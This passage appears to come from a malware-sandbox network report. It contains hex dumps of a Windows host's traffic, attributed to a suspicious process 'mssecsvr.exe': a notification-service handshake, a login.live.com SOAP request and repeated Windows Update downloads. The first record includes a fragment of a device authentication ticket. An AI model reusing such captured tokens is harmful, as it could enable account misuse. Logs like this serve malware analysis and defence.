2022-07-20 17:32:24 UTC	8343	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 66 31 37 31 39 36 39 31 33 63 35 34 31 30 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 3f17196913c54108<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:32:24 UTC	8344	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 66 31 37 31 39 36 39 31 33 63 35 34 31 30 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 3f17196913c54108<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:32:24 UTC	8344	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:32:24 UTC	8344	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 75 46 2f 66 52 38 42 78 45 47 66 41 36 71 62 4e 6e 6c 57 4e 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: buF/fR8BxEGfA6qbNnlWNg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	50096	20.190.159.68	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:36 UTC	77	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4659 Host: login.live.com
2022-07-20 17:30:36 UTC	77	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:30:36 UTC	94	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:29:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 5f2cb3c1-d2dc-457f-b281-2aefaa11079a PPServer: PPV: 30 H: BL6PPFB69EC362C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:30:36 GMT Connection: close Content-Length: 10793
2022-07-20 17:30:36 UTC	94	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.7	54061	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:33 UTC	8344	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:33 UTC	8344	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: a0b8daca-302d-4e81-841f-341b6ea00915 MS-RequestId: 3c3a44e1-9612-4909-9f97-2af23f13a50a MS-CV: sNudIy7kAE+SyhiD.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:33 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:33 UTC	8345	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:33 UTC	8360	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:33 UTC	8376	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.7	54203	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:36 UTC	8380	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:36 UTC	8380	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: ae4062bc-8fe2-480e-9702-5d341ef43e4d MS-RequestId: fbdb55ed-d919-4d4b-8278-f57d3f6dc68a MS-CV: VdFlxoEPR0a9wOJ/.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:35 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:36 UTC	8381	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:36 UTC	8396	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:36 UTC	8412	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.7	54343	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:38 UTC	8416	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:38 UTC	8416	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 6130d42f-bc7b-47d3-b6d5-1579802d3c19 MS-RequestId: d9385685-0404-418b-aca1-e5586346fb3b MS-CV: f7YLi+xv+EuMjl0U.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:38 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:38 UTC	8416	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:38 UTC	8432	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:38 UTC	8448	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.7	54421	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:41 UTC	8451	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:41 UTC	8452	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 9991af3b-651c-4ba2-b836-83cbb5eb66fc MS-RequestId: e856d977-3c23-4c39-94ff-23343bc44a65 MS-CV: uT/+xSGz3UeY9dzv.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:40 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:41 UTC	8452	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:41 UTC	8468	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:41 UTC	8484	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: 